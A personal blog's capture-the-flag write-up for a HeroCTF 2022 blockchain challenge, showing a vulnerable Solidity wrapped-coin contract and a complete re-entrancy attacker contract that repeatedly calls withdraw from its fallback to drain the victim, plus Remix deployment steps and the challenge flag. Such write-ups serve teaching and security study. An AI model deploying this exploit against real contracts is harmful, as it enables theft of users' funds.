The ckriellideon 🔥

Heroctf2022 (some) Blockchain Writeups

Performing a typical re-entrancy attack

- 4 min

HeroCTF 2022

HeroCTF 2022 was an important CTF for our team, Th3Os, as we finally got into the top 10! Congrats to everyone who participated in that result, especially sAsPeCt for going mad into the last day (even finding an unintended in a chall 👀) and Rikoss for solving just as many challenges in one CTF as he has in the last 2 years (also with an unintended solution 👀). Personally I contributed in a crypto chall, but mostly played the blockchain category. Unfortunately instance is down so I can’t add info on how to setup the network or the first challenge, so I’ll just talk about the 2nd challenge.

Blockchain | Ready to hack

Initial Analysis

Let’s analyze the smart contract we are given

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

/*
    This contract implements "WMEL" (Wrapped MEL). You get an ERC20 version of Melcoin where 1WMEL == 1MEL at all times.
    This is a beta version !
*/

// @dev : iHuggsy
contract WMEL
{
    mapping(address => uint) public balances;

    constructor () payable {}

    function deposit() external payable 
    {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public 
    {
        uint bal = balances[msg.sender];
        require(bal > 0);
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) 
    {
        return address(this).balance;
    }
}

The contract implements three functions, deposit, withdraw, and getBalance. Let’s analyze them one by one

  • deposit indexes the list balances[] using the msg.sender address, and increments msg.value to it
  • getBalance returns the balance of the smart contract
  • withdraw takes the balance of the sender, requires it be more than 0, and then sends it the the sender address. Then it sets the balance of that address to 0 Out of the above, withdraw seems the most interesting, simply because we have transference between contracts. What if for example, we could infinitely execute the first 3 lines of the withdraw function? Then couldn’t we, as an attacker, infinitely ask for a balance from the contract, and take it until it has nothing left? Yes we could, and this is the basis of the reentrancy attack. To get a better understanding of the attack, watch the video. So as it shows, let’s go write our attacker smart contract in Remix.

Exploiting Our Target

For starters we’ll create a test environment with the source and attack contract, and after we’re sure the attack works we’ll add setup connection to the network from within Remix. In the video the creator writes both the contract in the same Solidity file. Personally I’ll add them in two files and just import the source to the attack. Following the video this is the attacker contract we end up with

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "./pepe.sol";

contract attackReentrance {

    WMEL public wmel;

    constructor(address etherWMELAddress) public {
        wmel = WMEL(etherWMELAddress);
    }
    
    function attack() external payable {
        require(msg.value >= 1 ether);
        wmel.deposit{value: 1 ether}();
        wmel.withdraw();
    }

    fallback() external payable {
        if (address(wmel).balance >= 1 ether) {
            wmel.withdraw();
        }
    }

    function geBalance() public view returns (uint) {
        return address(this).balance;
    }
    
}

The constructor takes the supplied address of the victim contract, attack and fallback execute the attack, and getBalance is just for emotional support. Let’s compile them both in Remix, and first deploy the victim contract so we can get it’s address and pass it to the attacker contract. Now if we choose an address from the ones that Remix provides and pass 1 ether to it so we can exeute the attack, we can see that it works! (sorry I can’t provide any screenshots but I’m writing this after the CTF and the network is down 🥺)

Now let’s setup interaction with the MEL network and the address we created on it. To do that, we select the Injected Web3 ENVIRONMENT on the top left of the Remix platform, and we connect our address. Then we select our account, and then execute our attack again. We can check it worked by seeing the balance of our contract with getBalance

Now we just press verify on the challenge platform, and get the flag (this time I can provide a screenshot)!

Verified Attack Got Flag

flag: Hero{@M_A_m3l_sT34l3r_Am_v3rY_AngR}

Conclusion

Not gonna lie it wasn’t all that smooth sailing to solve the challenge. At first I tried the implementation from this video but I couldn’t get it to work (probably because of the older solidity version) and I was stuck for almost a day. But I was able to solve it at the end which is what matters for me :). Also if you want to test the attack just take the two contracts and run them on Remix